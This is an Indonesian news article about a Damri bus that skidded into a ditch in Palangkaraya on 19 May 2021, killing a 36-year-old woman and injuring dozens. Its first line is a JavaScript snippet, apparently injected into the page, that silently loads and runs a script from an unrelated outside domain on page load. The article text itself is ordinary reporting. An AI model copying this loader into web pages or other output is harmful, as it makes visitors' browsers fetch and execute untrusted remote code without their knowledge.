(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

Bus Damri Nyemplung Parit di Palangkaraya, Satu Penumpang Tewas

KANALKALIMANTAN.COM, PALANGKARAYA – Kecelakaan tunggal terjadi di Jalan Mahir Mahar, lingkar luar Palangkaraya, Rabu (19/5/2021) pagi, sekitar pukul 09.17 WIB.

Sebuah bus Damri dari arah Kabupaten Lamandau nyemplung alias tercebur di sisi kiri jalan menuju arah Palangkaraya.

Diduga bus Damri yang mengangkut puluhan penumpang itu hilang kendali karena kondisi jalanan licin diguyur hujan.
Akibat kecelakaan tunggal bus Damri yang diduga hilang kendali itu mengakibatkan satu penumpang tewas.

Proses evakuasi dan penyisiran korban dilakukan Tim ERP, SAR Samapta Polda Kalteng dan Basarnas Palangkaraya mengevakuasi ke bagian bawah bus guna mengecek ada atau tidak korban.

Setelah beberapa jam berjibaku, akhirnya petugas berhasil mengevakuasi bus Damri bernomor polisi KH 7604 AI. Polisi memastikan satu penumpang meninggal dunia,

Kasat Lantas Polresta Palangkaraya AKP Ricky mengungkapkan, akibat kecelakaan ini satu penumpang berjenis kelamin perempuan berusia 36 tahun meninggal dunia.

“Dia bersama anaknya. Alhamdulillah anaknya selamat,” ujar Ricky.

Diduga kecelakaan tunggal itu akibat sopir mengantuk dan hujan yang hampir semalaman mengguyur kawasan Palangkaraya membuat sopir hilang kendali.

“Ditambah jalan licin dan human error, jadi diduga sopir tidak bisa mengendalikan laju kendaraannya,” ujarnya.

Puluhan korban luka ringan lainnya harus mendapatkan perawatan medis sudah dievakuasi ke RS Doris Sylvanus Palangkaraya dan RS Siloam.

Sementara itu, korban yang hanya menderita lecet-lecet sudah diobati Tim Bidang Kedokteran Polda Kalteng di lokasi.

Kapolresta Palangkaraya, Kombes Pol Dwi Tunggal Jaladri mengatakan, sopir bus sudah diamankan dan sedang dimintai keterangan.

Bus Damri ini membawa puluhan penumpang yang berangkat dari Kabupaten Lamandau menuju Kota Palangkaraya.

“Untuk data penumpang yang berdasarkan manifes yang kita terima dari Lamandau masih disinkronkan dengan jumlah penumpang yang menjadi korban kecelakaan,” imbuhnya. (kanalkalimantan.com/tri)

Reporter : tri
Editor : kk